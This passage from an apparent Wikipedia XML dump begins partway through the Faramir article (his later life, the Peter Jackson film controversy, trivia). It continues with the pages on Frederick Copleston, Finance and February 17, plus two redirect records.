King Elessar appointed Faramir as the Prince of Ithilien and Beregond to be the Captain of his guard, the White Company.  As Prince of Ithilien, he and the Prince of Dol Amroth, Gondor’s two highest ranking nobles, became King Elessar's chief commanders.  His duties also included acting as resident march-warden of Gondor's main eastward outpost, rehabilitating the lost territories, as well as clearing it of outlaws and orcs and cleansing [[Minas Morgul]] of evil-remnants (''[[The Letters of J. R. R. Tolkien|Letters]]'', 323).  Faramir also fulfilled the traditional role as Steward, acting as the King’s chief counselor as well as ruling Gondor in the King’s absence.

With Éowyn, the two settled in [[Emyn Arnen]], where the two had at least one son named Elboron, who succeeded him as Steward of Gondor, Prince of Ithilien, and Lord of Emyn Arnen, after Faramir’s death in 82 of the [[Fourth Age]].

==Portrayal in adaptations==
In the [[The Lord of the Rings film trilogy|''Lord of the Rings'' movie trilogy]] by [[Peter Jackson]], Faramir does not at first let Frodo, Sam, and Gollum go, but decides to bring them and the Ring to Gondor. He takes them west to [[Osgiliath]], crossing the river [[Anduin]], and not until the [[Ringwraith]]s attack the city does he release them. Many fans of the book criticize this change, saying that it seriously damages the character; some have jokingly dubbed him &quot;Farfromthebookamir&quot;, among other names ([http://www.theonering.com/docs/9839.html]).

[[Peter Jackson]]'s explanation is that he needed another adventure to delay Frodo and Sam, because the episode at [[Cirith Ungol]] was moved to the third movie, and so a new climax was needed. Another explanation often cited is that it was felt that for dramatic reasons it was necessary to show character ''development'', which meant that Faramir had to go through some kind of struggle or difficult decision. Jackson also argued that it was necessary for Faramir to be tempted by the Ring because everyone else was tempted, and letting Faramir be immune would be inconsistent, at least in the eyes of a film audience, and would weaken the films' portrayal of the Ring, which was that of a seduction of normal men. 
[[Image:Faramir_ride.jpg|thumb|right|240px|[[David Wenham]] as Faramir in [[Peter Jackson]]'s [[The Lord of the Rings film trilogy|''Lord of the Rings'' movie trilogy]]]]
A number of fans however, remain unimpressed and unconvinced by Jackson's explanations, and have complained that Faramir was changed into a carbon copy of Boromir and have commented that Tolkien himself, who once likened himself to Faramir, would not have liked the way the film characterized him. Jackson counters that the important difference between Boromir and Faramir is kept: Boromir was completely incapable of resisting the temptation of the Ring. Faramir, realizing what his brother went through, what Frodo and Gollum must endure, and his own morals and personality in check, realizes the danger, and freely decides to let Frodo go.

There was also criticism concerning the Rangers', including Faramir's, treatment of Gollum.  Fans bitterly complained that Faramir, whose gentle heart was easily moved by pity, would have never let his men or himself torture any prisoner, no matter how wicked or evil.  In the book, Faramir calls the creature Sméagol instead of Gollum, and told his men to &quot;treat him gently...but watch him&quot; (The Two Towers, &quot;The Window on the West&quot;).

In the extended edition of ''[[The Lord of the Rings: The Two Towers (film)|The Two Towers]]'', Jackson has included a new flashback scene showing that Denethor has been neglecting him and favoring Boromir, so that Faramir wanted to please his father by bringing him the Ring. (The relationship is similarly strained in the books, but there his father's favoritism does not seem to affect his decisions in Ithilien.) On the whole, however, new Extended Edition scenes with Faramir brought the character closer to the sympathetic treatment of the books (the line he is given regarding a fallen Southron belongs to Sam in the books, but is not out of keeping with Faramir's character). 

Faramir is played by [[David Wenham]] in the films, who joked that he got the role because he and Sean Bean, who played Boromir, both had large noses. A minor change is that in the book, Faramir and his brother are dark-haired and lack beards, but in the movie, they have fair hair and are slightly bearded. 

In the BBC Radio adaptation, Faramir is voiced by Andrew Seear.

==Trivia==
*Faramir's name in Elvish either means 'sufficient jewel' or 'jeweled hunter'.  The -mir meaning &quot;jewel, precious thing, treasure&quot; and the -phar meaning &quot;suffice&quot; or the the element far (from faras) meaning &quot;hunting.&quot;
*Faramir was, in the words of Tolkien, &quot;modest, fair-minded and scrupulously just, and very merciful&quot; (''[[The Letters of J. R. R. Tolkien]]'', 244). His appearance toward the end of ''[[The Two Towers (book)|The Two Towers]]'' apparently was as much of a surprise to Tolkien as it is to his readers. &quot;I am sure I did not invent him,&quot; he wrote. &quot;I did not even want him, though I like him&quot; (''[[The Letters of J. R. R. Tolkien|Letters]]'', 66). 
*Faramir in many ways speaks for Tolkien, who was a soldier in [[World War I]] and saw action in the [[Somme]], when he spoke that he only fought to defend Gondor, not for glory or triumph or valor.  Much later, Tolkien would write, &quot;As far as any character is 'like me', it is Faramir&quot; (''[[The Letters of J. R. R. Tolkien|Letters]]'', 180).  It is for this reason that Tolkien bestowed his dream of a great wave (that reoccurred in his family) to Faramir. &quot;For when Faramir speaks of his private vision of the Great Wave, he speaks for me. That vision and dream has been ever with me&amp;mdash;and has been inherited (as I only discovered recently) by one of my children, Michael&quot; (''[[The Letters of J. R. R. Tolkien|Letters]]'', 180).

==See also==
{{wikiquote}}
*[[House of Húrin]]
*[[Stewards of Gondor]]
*[[Rangers of Ithilien]]

==Sources==
*''The Letters of J.R.R. Tolkien'', 1st Hough edition, 2000. J. R. R. Tolkien, Christopher Tolkien (Editor), ISBN 0618056998
*''The History of Middle-earth, vol. V, The Lost Road and Other Writings'', 1996.  J. R. R. Tolkien, Christopher Tolkien (Editor), ISBN 0345406850

==External links==
* [http://www.tuckborough.net/faramir.html Faramir] at The Thain's Book
* [http://minas-anor.net/faramir/ There He Came] - A Faramir tribute and fansite

{{sequence|
prev=[[Denethor|Denethor II]]|
next=''Princes of [[Ithilien]]''|
list=[[Stewards of Gondor]]
}}

[[Category:Middle-earth Dúnedain]]
[[Category:Fictional nobility|Faramir]]

----

''There is another Faramir, '''Faramir, son of Ondoher''', who died at the [[Battle of the Camp]].  During the Fourth Age, Pippin Took's son, '''Faramir Took''', is named after Faramir, son of Denethor II.''

[[de:Figuren aus Mittelerde#Faramir]]
[[es:Faramir]]
[[fr:Faramir]]
[[it:Faramir]]
[[nl:Faramir]]
[[ja:ファラミア]]
[[no:Faramir]]
[[pl:Faramir (brat Boromira)]]
[[pt:Faramir]]
[[sl:Faramir]]
[[fi:Faramir]]
[[sv:Faramir]]
[[th:ฟาราเมียร์]]
[[tr:Faramir]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick Copleston</title>
    <id>11161</id>
    <revision>
      <id>40363506</id>
      <timestamp>2006-02-20T01:51:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Frederick Charles Copleston''', ([[April 10]], [[1907]], [[Taunton]], [[Somerset]], [[England]] – [[February 3]], [[1994]], [[London]], [[England]]) was a [[Society of Jesus|Jesuit]] [[priest]] and [[writer]] on [[philosophy]].

Copleston converted to [[Roman Catholicism]] while a pupil at [[Marlborough College]].  He was author of an influential nine-volume ''[[A History of Philosophy (Copleston)|History of Philosophy]]''. He is well known for debating famed British thinker [[Bertrand Russell]], in a celebrated [[1948]] [[BBC]] broadcast, on the [[existence of God]], as well as [[analytic philosophy|analytic philosopher]] [[A. J. Ayer]] on [[logical positivism]] and the meaningfulness of [[religious language]]

==Quote==
''&quot;Even if the actual systems of philosophy which have appeared in the philosophical thought of a given culture are historically conditioned, there may be ways of thought exemplified by past systems which remain a feature of a people's mentality or cultural outlook.&quot;''

==External links==
* [http://www.bringyou.to/apologetics/p20.htm The BBC Debate]

[[Category:1907 births|Copleston, Frederick C.]]
[[Category:1994 deaths|Copleston, Frederick C.]]
[[Category:Natives of Somerset|Copleston, Frederick C.]]
[[Category:Jesuits|Copleston, Frederick]]

[[sk:Frederick Copleston]]</text>
    </revision>
  </page>
  <page>
    <title>Finance</title>
    <id>11162</id>
    <revision>
      <id>41463303</id>
      <timestamp>2006-02-27T14:42:31Z</timestamp>
      <contributor>
        <username>GraemeL</username>
        <id>383311</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.76.123.40|62.76.123.40]] ([[User talk:62.76.123.40|talk]]) to last version by GilliamJF</comment>
      <text xml:space="preserve">'''Finance''' studies and addresses the ways in which individuals, businesses and organizations raise, allocate and use monetary resources over time, taking into account the risks entailed in their projects. The term '''finance''' may thus incorporate any of the following: 
* The study of [[money]] and other [[asset]]s
* The management and control of those assets
* Profiling and managing project risks
* As a verb, &quot;to finance&quot; is to provide funds for [[business]].

==Examples of some basic financial concepts==
The activity of '''finance''' is the application of a set of techniques that individuals and organizations (entities) use to manage their financial affairs, particularly the differences between income and expenditure and the risks of their investments.

An [[entity]] whose income exceeds its expenditure can lend or invest the excess income. On the other hand, an entity whose income is less than its expenditure can raise capital by borrowing or selling equity claims, decreasing its expenses, or increasing its income. The lender can find a borrower, a [[financial intermediary]], such as a [[bank]] or buy notes or bonds in the [[bond market]]. The lender receives [[interest]], the borrower pays a higher interest than the lender receives, and the financial intermediary pockets the difference. 

A bank aggregates the activities of many borrowers and lenders.  A bank accepts deposits from lenders, on which it pays interest.  The bank then lends these deposits to borrowers.  Banks allow borrowers and lenders of different sizes to coordinate their activity.  Banks are thus compensators of money flows in space since they allow different lenders and borrowers to meet, and in time, since every borrower will eventually pay back.

A specific example of corporate finance is the sale of stock by a company to institutional investors like investment banks, who in turn generally sell it to the public.  The stock gives whoever owns it part ownership in that company.  If you buy one share of XYZ inc, and they have 100 shares available, you are 1/100 owner of that company. You own 1/100 of anything on the asset side of the balance sheet. Of course, in return for the stock, the company receives cash, which it uses to expand its business in a process called &quot;equity financing&quot;.  Equity financing mixed with the sale of bonds (or any other debt financing) is called the company's capital structure.    

Finance is used by individuals ([[personal finance]]), by governments ([[public finance]]), by businesses ([[corporate finance]]), etc., as well as by a wide variety of organizations including schools and non-profit organizations. In general, the goals of each of the above activities are achieved through the use of appropriate financial instruments, with consideration to their institutional setting.

==Personal finance==
Questions in [[List_of_finance_topics#Personal_finance |personal finance]] revolve around
*How much money will be needed by an individual (or a family) at various points in the future?
*Where will this money come from (e.g. savings or borrowing)?  
*How can people protect themselves against unforeseen events in their lives, and risk in financial markets?
*How can family assets be best transfered across generations (bequests and inheritance)?
*How do taxes (tax subsidies or penalties) affect personal financial decisions?

Personal financial decisions involve paying for education, financing durable goods such as [[real estate]] and cars, buying [[insurance]], e.g. health and property insurance, investing and saving for [[retirement]].

==Business finance==
In the case of a company, managerial finance or [[corporate finance]] is the task of providing the funds for the corporations' activities. It generally involves balancing risk and profitability. 
Long term funds would be provided by [[ownership equity]] and long-term [[credit (finance)|credit]], often in the form of [[bond]]s. These decisions lead to the company's [[capital structure]]. Short term funding or [[working capital]] is mostly provided by banks extending a line of credit.

On the bond market, borrowers package their debt in the form of [[bond]]s.  The borrower receives the money it borrows by selling the bond, which includes a promise to repay the value of the bond with interest.  The purchaser of a bond can resell the bond, so the actual recipient of interest payments can change over time.  Bonds allow lenders to recoup the value of their loan by simply selling the bond.

Another business decision concerning finance is investment, or [[fund management]]. An investment is an acquisition of an [[asset]] in the hopes that it will maintain or increase its value. In [[List_of_finance_topics#Investment_management|investment management]] -  in choosing a [[portfolio (finance)|portfolio]] - one has to decide ''what'', ''how much'' and ''when'' to invest. In doing so, one needs to
*Identify relevant objectives and constraints: institution or individual - goals - time horizon - risk aversion - tax considerations
*Identify the appropriate strategy: active vs passive - hedging strategy
*Measure the portfolio performance

'''Financial management''' is duplicate with the financial function of the [[accounting profession]].  However, accounting is concerned with reporting of historical financial information, while the financial decision is directed toward the future of the firm.

==Finance of states==
Country, state, county, city or municipality finance is called [[List_of_finance_topics#Public_finance|public finance]]. It is concerned with
*Identification of required expenditure of a public sector entity 
*Source(s) of that entity's revenue
*The budgeting process
*Debt issuance ([[municipal bond]]s) for public works projects

==Financial economics==
{{Main|Financial economics}}

Financial economics is the branch of [[economics]] studying the interrelation of financial [[variables]], s.a. [[price]]s, [[interest rate]]s and shares as opposed to those concerning the real economy. Financial economics concentrates on influences of [[Real_vs._nominal_in_economics|real]] economic variables on financial ones, in contrast to pure finance.

It studies:
*[[List_of_finance_topics#Valuation |Valuation]] - Determination of the fair value of an asset
**How risky is the asset? (identification of the asset appropriate discount rate)
**What [[cash flows]] will it produce? (discounting of relevant cash flows) 
**How does the market price compare to similar assets? (relative valuation)
**Are the cash flows dependent on some other asset or event? (derivatives, contingent claim valuation)

*[[List_of_finance_topics#Financial_markets| Financial markets and instruments]]
**Commodities - [[List_of_finance_topics#Commodity_markets | topics]]
**Stocks - [[List_of_finance_topics#Stock_market| topics]]
**Bonds - [[List_of_finance_topics#Bond_market| topics]]
**Money market instruments- [[List_of_finance_topics#Money_market| topics]]
**Derivatives - [[List_of_finance_topics#Derivatives_market| topics]]

*[[List_of_finance_topics#Financial_institutions_and_banking |Financial institutions]] and  [[List_of_finance_topics#Financial_supervision,_regulation,_and_accreditation |regulation]]

==Financial mathematics==
{{Main|Financial mathematics}}

Financial mathematics is the branch of applied mathematics concerned with the financial markets. Financial mathematics is the study of [[financial data]] with the tools of [[mathematics]], mainly [[statistics]]. Such data can be movements of securities - [[stock]]s and [[bond]]s etc. - and their relations. Another large subfield is [[actuarial science|insurance mathematics]].

==See also==

* [[Funding]], a synonym of '''financing'''
* There are also over 250 other finance articles in Wikipedia. See [[list of finance topics]].
* [[List of publications in economics#Finance| Important publications in finance]]

== External links ==
&lt;!--                                                             --&gt;
&lt;!-- Do not add advertising or commercial links to this article. --&gt;
&lt;!--                                                             --&gt;
*For material covering three areas in finance - corporate finance, valuation and investment management, see [http://pages.stern.nyu.edu/~adamodar/  Prof. Aswath Damodaran]
*For links to finance web sites, grouped by topic see [http://web.utk.edu/~jwachowi/wacho_world.html#Part%20I Web Sites for Discerning Finance Students], Prof. John M. Wachowicz
*For the introductory finance web site at the [[University of Arizona]], [http://www.studyfinance.com/ studyfinance.com]
*For introductory articles covering mathematical finance see [http://www.quantnotes.com/fundamentals/ quantnotes]
*For introductory articles, a full glossary and links to resources on behavioral finance see the [http://perso.wanadoo.fr/pgreenfinch/behavioral-finance.htm BF gallery]
&lt;!--                                                             --&gt;
&lt;!-- Do not add advertising or commercial links to this article. --&gt;
&lt;!--                                                             --&gt;


[[Category:Finance| ]]

[[be:Фінансы]]
[[de:Finanzierung]]
[[el:Χρηματοοικονομικά]]
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[[id:Keuangan]]
[[it:Finanza]]
[[hu:Pénzügy]]
[[nl:Financiën]]
[[ja:金融]]
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[[ru:Финансы]]
[[scn:Finanza]]
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[[th:การเงิน]]
[[tr:Finans]]
[[zh:金融学]]</text>
    </revision>
  </page>
  <page>
    <title>Fund management</title>
    <id>11163</id>
    <revision>
      <id>15908927</id>
      <timestamp>2003-09-27T02:51:41Z</timestamp>
      <contributor>
        <username>Mydogategodshat</username>
        <id>11870</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Institutional fund management]]</text>
    </revision>
  </page>
  <page>
    <title>February 17</title>
    <id>11164</id>
    <revision>
      <id>41668451</id>
      <timestamp>2006-02-28T23:20:14Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>/* Births */  rm redlink</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=17}}
|}
'''February 17''' is the 48th day of the year in the [[Gregorian calendar]]. There are 317 days remaining (318 in [[leap year]]s).
==Events==
* [[1370]] - [[Battle of Rudau]]
* [[1500]] - [[Battle of Hemmingstedt]]
* [[1621]] - [[Miles Standish]] is appointed as first commander of [[Plymouth, Massachusetts|Plymouth colony]].
* [[1753]] - February 17 is followed by [[March 1]] as [[Sweden]] moves to the Gregorian from the [[Julian calendar]].
* [[1801]] - An [[U.S. Electoral College|electoral]] tie between [[Thomas Jefferson]] and [[Aaron Burr]] is resolved when Jefferson is elected [[President of the United States]] and Burr [[Vice President of the United States|Vice President]] by the [[United States House of Representatives]].
* [[1814]] - [[Battle of Mormans]]
* [[1819]] - The [[United States House of Representatives]] passes the [[Missouri Compromise]].
* [[1854]] - The [[United Kingdom|British]] recognizes the independence of the [[Orange Free State]].
* [[1864]] - [[American Civil War]]:  [[CSS H. L. Hunley]] is the first submarine to engage and sink a warship, the [[USS Housatonic]].
* [[1865]] - [[American Civil War]]: [[Columbia, South Carolina]] burns as [[Confederate States of America|Confederate]] forces flee from advancing [[United States|Union]] forces.
* [[1867]] - The first ship passes through the [[Suez Canal]].
* [[1895]] - ''[[Swan Lake]]'', with music by [[Pyotr Ilyich Tchaikovsky]], is first performed at full length in [[Saint Petersburg]], [[Russia]].
* [[1913]] - The [[Armory Show]] opens in [[New York City]], displaying works of artists who are to become some of the most influential painters of the early [[20th century]].
* [[1924]] -  In [[Miami, Florida]],  [[Johnny Weissmuller]] sets a new world record in the 100-yard freestyle [[swimming]] competition with a time of 52-2/5 seconds.
* [[1933]] - The [[magazine]] ''[[Newsweek]]'' is published for the first time.
* 1933 - The [[Blaine Act]] ends [[Prohibition]] in the [[United States]].
* [[1944]] - [[World War II]]: [[Battle of Eniwetok Atoll]] begins. The battle ends in an American victory on [[February 22]].
* [[1947]] - The [[Voice of America]] begins to transmit [[radio]] broadcasts into the [[Soviet Union]].
* [[1957]] - A fire at a home for the elderly in [[Warrenton, Missouri|Warrenton]], [[Missouri]] kills 72 people.
* [[1958]] - [[Pope Pius XII]] declares [[Saint]] [[Clare of Assisi]] (1193~1253) the [[patron saint]] of [[television]]
* [[1959]] - The first [[weather satellite]], [[Vanguard 2]], was launched to measure [[cloud]]-cover distribution.
* [[1962]] - A storm kills more than 300 people in [[Hamburg]], [[West Germany]].
* [[1964]] - In [[Wesberry v. Sanders]] the [[Supreme Court of the United States]] rules that [[Congress of the United States|congressional]] districts have to be approximately equal in population.
* [[1968]] - In [[Springfield, Massachusetts]] the [[James Naismith|Naismith]] Memorial [[Basketball Hall of Fame]] opens.
* [[1972]] - Sales of the [[Volkswagen Beetle]] model exceed those of [[Ford Model-T]].
* [[1974]] - [[Robert K. Preston]], a disgruntled [[U.S. Army]] private, buzzes the [[White House]] with a stolen [[helicopter]].
* [[1979]] - The [[Sino-Vietnamese War]] begins.
* [[1992]] - A court in [[Milwaukee, Wisconsin]] sentences [[serial killer]] [[Jeffrey Dahmer]] to life in prison.  
* [[1995]] - [[Colin Ferguson]] is convicted of six counts of [[murder]] for the December [[1993]] [[Long Island Rail Road]] shootings and later receives a 200+ year sentence.  
* 1995 - The [[Cenepa War]] between [[Peru]] and [[Ecuador]] ends on a [[cease-fire]] brokered by the [[UN]].
* [[1996]] -  In [[Philadelphia, Pennsylvania]], world champion [[Garry Kasparov]] beats the [[Deep Blue]] [[supercomputer]] in a [[chess]] match.
* [[2003]] - [[Baltimore Orioles]] pitching prospect [[Steve Bechler]] dies in [[Fort Lauderdale, Florida]], one day after collapsing during a spring-training workout; doctors later link the 23-year-old’s sudden death to the dietary supplement [[ephedra]].
* [[2006]] -  At [[Hampton School]], [[Hampton]] the Great Gas Scare of 2006 is finally over, after hours of terror.

==Births==
*[[1490]] - [[Charles III, Duke of Bourbon]], Constable of France (d. [[1527]])
*[[1519]] - [[Francis, Duke of Guise]], French soldier and politician (d. [[1563]])
*[[1524]] - [[Charles of Guise]], French cardinal (d. [[1574]])
*[[1581]] - [[Fausto Poli]], Italian Catholic priest (d. [[1653]])
*[[1646]] - [[Pierre Le Pesant, sieur de Boisguilbert]], French economist (d. [[1714]])
*[[1653]] - [[Arcangelo Corelli]], Italian composer (d. [[1713]])
*[[1718]] - [[Matthew Tilghman]], American Continental Congressman (d. [[1790]])
*[[1723]] - [[Tobias Mayer]], German astronomer (d. [[1762]])
*[[1752]] - [[Friedrich Maximilian Klinger]], German writer (d. [[1831]])
*[[1754]] - [[Nicolas Baudin]], French explorer (d. [[1803]])
*[[1766]] - [[Thomas Malthus]], English demographer and political economist (d. [[1834]])
*[[1781]] - [[René Laënnec]], French physician (d. [[1826]])
*[[1792]] - [[Karl Ernst von Baer]], German biologist (d. [[1876]])
*[[1796]] - [[Philipp Franz von Siebold]], German physician (d. [[1866]])
*[[1817]] - King [[William III of the Netherlands]] (d, [[1890]])
*[[1820]] - [[Henri Vieuxtemps]], Belgian composer (d. [[1881]])
*[[1821]] - [[Lola Montez]], Mexican dancer, actress, friend of monarchs (d. [[1861]])
*[[1836]] - [[Gustavo Adolfo Bécquer]], Spanish poet (b. [[1870]])
*[[1844]] - [[Aaron Montgomery Ward]], American department store founder (d. [[1913]])
*[[1848]] - [[Louisa Lawson]], Australian feminist, suffragist, writer (d. [[1920]])
*[[1854]] - [[Friedrich Alfred Krupp]], German industrialist (d. [[1902]])
*[[1864]] - [[Banjo Paterson]], Australian poet (d. [[1941]])
*[[1874]] - [[Thomas J. Watson]], American computer manufacturer (d. [[1956]])
*[[1877]] - [[André Maginot]], French politician (d. [[1932]])
*[[1888]] - [[Otto Stern]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1969]])
*[[1887]] - [[Leevi Madetoja]], Finnish composer (d. [[1947]])
*[[1908]] - [[Red Barber]], baseball announcer (d. [[1992]])
*[[1910]] - [[Marc Lawrence]], American actor (d. [[2005]])
*[[1912]] - [[Andre Norton]], American author (d. [[2005]])
*[[1914]] - [[Arthur Kennedy (actor)|Arthur Kennedy]], American actor (d. [[1990]])
*[[1919]] - [[Kathleen Freeman]], American actress (d. [[2001]])
*[[1920]] - [[Ivo Caprino]], Norwegian animated film director
*[[1922]] - [[Marshall Teague]], American race car driver (d. [[1959]])
*[[1924]] - [[Margaret Truman]], American novelist
*[[1925]] - [[Ron Goodwin]], English composer and conductor (d. [[2003]])
*1925 - [[Hal Holbrook]], American actor
*[[1929]] - [[Chaim Potok]], American author (d. [[2002]])
*1929 - [[Patricia Routledge]], English actress
*[[1930]] - [[Ruth Rendell]], English writer
*[[1932]] - [[Buck Trent]], American banjo player
*[[1934]] - [[Alan Bates]], English actor (d. [[2003]])
*1934 - [[Barry Humphries]], Australian actor and comedian
*[[1935]] - [[Christina Pickles]], British actress
*[[1936]] - [[Jim Brown]], American football player
*[[1939]] - [[Mary Ann Mobley]], American actress and beauty queen
*[[1941]] - [[Gene Pitney]], American singer
*[[1942]] - [[Huey P. Newton]], American founder of the [[Black Panther Party]] (d. [[1989]])
*[[1944]] - [[Karl Jenkins]], Welsh composer
*[[1945]] - [[Zina Bethune]], American actress
*1945 - [[Brenda Fricker]], Irish actress
*[[1949]] - [[Fred Frith]], British musician
*[[1953]] - [[Janice Dickinson]], American model
*1953 - [[Norman Pace]], British actor and comic
*[[1954]] - [[Rene Russo]], American actress
*[[1956]] - [[Richard Karn]], American actor
*[[1957]] - [[Loreena McKennitt]], Canadian musician, singer, and songwriter
*[[1962]] - [[Alison Hargreaves]], British mountaineer (d. [[1995]])
*1962 - [[Lou Diamond Phillips]], American actor
*[[1963]] - [[Michael Jordan]], American basketball player
*[[1966]] - [[Luc Robitaille]], Canadian [[ice hockey]] player
*[[1967]] - [[Chanté Moore]], American singer
*[[1969]] - [[Tuesday Knight]], American actress
*[[1970]] - [[Dominic Purcell]], English Born Actor
*1970 - [[Tim Mahoney]], American musician ([[311 (band)]])
*[[1971]] - [[Martyn Bennett]], Canadian musician and composer (d. [[2005]])
*1971 - [[Denise Richards]], American actress
*[[1972]] - [[Billie Joe Armstrong]], American singer and musician ([[Green Day]])
*1972 - [[Philippe Candeloro]], French figure skater
*[[1973]] - [[Amy Van Dyken]], American swimmer
*[[1974]] - [[Jerry O'Connell]], American actor
*1974 - [[Bryan White]], American singer
*[[1975]] - [[Wish Bone]], American rapper
*1975 - [[Vaclav Prospal]], Czech hockey player
*[[1978]] - [[Jacob Wetterling]], American kidnapping victim
*[[1980]] - [[Jason Ritter]], American actor
*[[1981]] - [[Joseph Gordon-Levitt]], American actor
*1981 - [[Paris Hilton]], American actress and heiress
*[[1982]] - [[Adriano Leite Ribeiro]], Brazilian footballer
*[[1991]] - [[Bonnie Wright]], British actress
*[[1996]] - [[Sasha Pieterse]], South African actress
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[197]] - [[Clodius Albinus]], Roman usurper (killed in battle)
*[[364]] - [[Jovian]], [[Roman Emperor]]
*[[1339]] - Duke [[Otto of Austria]] (b. [[1301]])
*[[1596]] - [[Friedrich Sylburg]], German classical scholar (b. [[1536]])
*[[1600]] - [[Giordano Bruno]], Italian philosopher (burned at the stake) (b. [[1548]])
*[[1609]] - [[Ferdinando I de' Medici, Grand Duke of Tuscany]] (b. [[1549]])
*[[1624]] - [[Juan de Mariana]], Spanish historian (b. [[1536]])
*[[1659]] - [[Abel Servien]], French diplomat (b. [[1593]])
*[[1673]] - [[Molière]], French playwright (b. [[1622]])
*[[1680]] - [[Denzil Holles, 1st Baron Holles]], English statesman and writer (b. [[1599]])
*1680 - [[Jan Swammerdam]], Dutch scientist (b. [[1637]])
*[[1715]] - [[Antoine Galland]], French archaeologist (b. [[1646]])
*[[1732]] - [[Louis Marchand]], French organist and harpsichordist (b. [[1669]])
*[[1768]] - [[Arthur Onslow]], English politician (b. [[1691]])
*[[1780]] - [[Andreas Felix von Oefele]], German historian and librarian (b. [[1706]])
*[[1841]] - [[Ferdinando Carulli]], Italian [[guitarist]]
*[[1854]] - [[John Martin (painter)|John Martin]], English painter (b. [[1789]])
*[[1856]] - [[Heinrich Heine]], German writer (b. [[1797]])
*[[1883]] - [[Napoleon Coste]], French guitarist and composer (b. [[1806]])
*[[1909]] - [[Geronimo]], Apache leader (b. [[1829]])
*[[1919]] - [[Wilfrid Laurier]], seventh [[Prime Minister of Canada]] (b. [[1841]])
*[[1934]] - King [[Albert I of Belgium]] (b. [[1875]])
*[[1934]] - [[Siegbert Tarrasch]], German chess player (b. [[1862]])
*[[1939]] - [[Willy Hess (violinist)|Willy Hess]], German violinist (b. [[1859]])
*[[1943]] - [[Armand J. Piron]], American jazz violinist and composer (b. [[1888]])
*[[1961]] - [[Nita Naldi]], American actress  (b. [[1897]])
*[[1962]] - [[Bruno Walter]], German conductor (b. [[1876]])
*[[1970]] - [[Shmuel Yosef Agnon]], Israeli writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1888]])
*1970 - [[Alfred Newman]], American film composer (b. [[1901]])
*[[1977]] - [[Janani Luwum]], Ugandan Archbishop (shot) (b. [[1922]])
*[[1982]] - [[Thelonious Monk]], American jazz pianist (b. [[1917]])
*1982 - [[Lee Strasberg]], Austrian-born actor (b. [[1901]])
*[[1990]] - [[Erik Rhodes]], American actor (b. [[1906]])
*[[1994]] - [[Randy Shilts]], American author and activist (AIDS) (b. [[1951]])
*[[1998]] - [[Ernst Jünger]], German author (b. [[1895]])
*[[2001]] - [[Khalid Abdul Muhammed]], American Nation of Islam spokesman (brain aneurysm) (b. [[1948]])
*[[2004]] - [[José López Portillo]], [[President of Mexico]] (b. [[1920]])
*[[2005]] - [[Dan O'Herlihy]], Irish actor (b. [[1919]])
*2005 - [[Omar Sivori]], Argentine football player (b. [[1935]])
*[[2006]] - [[Ray Barretto]], Puerto Rican musician ([[congas]]) (b. [[1929]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Roman Empire]] - [[Quirinalia]] in honor of [[Quirinus]].
*Ancient [[Latvia]] - [[Tanis Diena]] observed.
*World [[Cabbage]] Day.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/17 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060217.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=17 On This Day in Canada]

----

[[February 16]] - [[February 18]] - [[January 17]] - [[March 17]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[af:17 Februarie]]
[[ar:17 فبراير]]
[[an:17 de frebero]]
[[ast:17 de febreru]]
[[bg:17 февруари]]
[[be:17 лютага]]
[[bs:17. februar]]
[[ca:17 de febrer]]
[[ceb:Pebrero 17]]
[[cv:Нарăс, 17]]
[[co:17 di frivaghju]]
[[cs:17. únor]]
[[cy:17 Chwefror]]
[[da:17. februar]]
[[de:17. Februar]]
[[et:17. veebruar]]
[[el:17 Φεβρουαρίου]]
[[es:17 de febrero]]
[[eo:17-a de februaro]]
[[eu:Otsailaren 17]]
[[fo:17. februar]]
[[fr:17 février]]
[[fy:17 febrewaris]]
[[ga:17 Feabhra]]
[[gl:17 de febreiro]]
[[ko:2월 17일]]
[[hr:17. veljače]]
[[io:17 di februaro]]
[[id:17 Februari]]
[[ia:17 de februario]]
[[is:17. febrúar]]
[[it:17 febbraio]]
[[he:17 בפברואר]]
[[jv:17 Februari]]
[[ka:17 თებერვალი]]
[[csb:17 gromicznika]]
[[ku:17'ê reşemiyê]]
[[lt:Vasario 17]]
[[lb:17. Februar]]
[[hu:Február 17]]
[[mk:17 февруари]]
[[ms:17 Februari]]
[[nap:17 'e frevaro]]
[[nl:17 februari]]
[[ja:2月17日]]
[[no:17. februar]]
[[nn:17. februar]]
[[oc:17 de febrièr]]
[[os:17 февралы]]
[[pl:17 lutego]]
[[pt:17 de Fevereiro]]
[[ro:17 februarie]]
[[ru:17 февраля]]
[[se:Guovvamánu 17.]]
[[sco:17 Februar]]
[[sq:17 Shkurt]]
[[scn:17 di frivaru]]
[[simple:February 17]]
[[sk:17. február]]
[[sl:17. februar]]
[[sr:17. фебруар]]
[[fi:17. helmikuuta]]
[[sv:17 februari]]
[[tl:Pebrero 17]]
[[tt:17. Febräl]]
[[te:ఫిబ్రవరి 17]]
[[th:17 กุมภาพันธ์]]
[[vi:17 tháng 2]]
[[tr:17 Şubat]]
[[uk:17 лютого]]
[[wa:17 di fevrî]]
[[war:Pebrero 17]]
[[zh:2月17日]]
[[pam:Pebreru 17]]</text>
    </revision>
  </page>
  <page>
    <title>Fractal Compression</title>
    <id>11165</id>
    <revision>
      <id>15908929</id>
      <timestamp>2002-07-01T01:54:36Z</timestamp>
      <contributor>
        <username>Rade Kutil</username>
        <id>1632</id>
      </contributor>
      <comment>#REDIRECT [[fractal compression]]</comment>
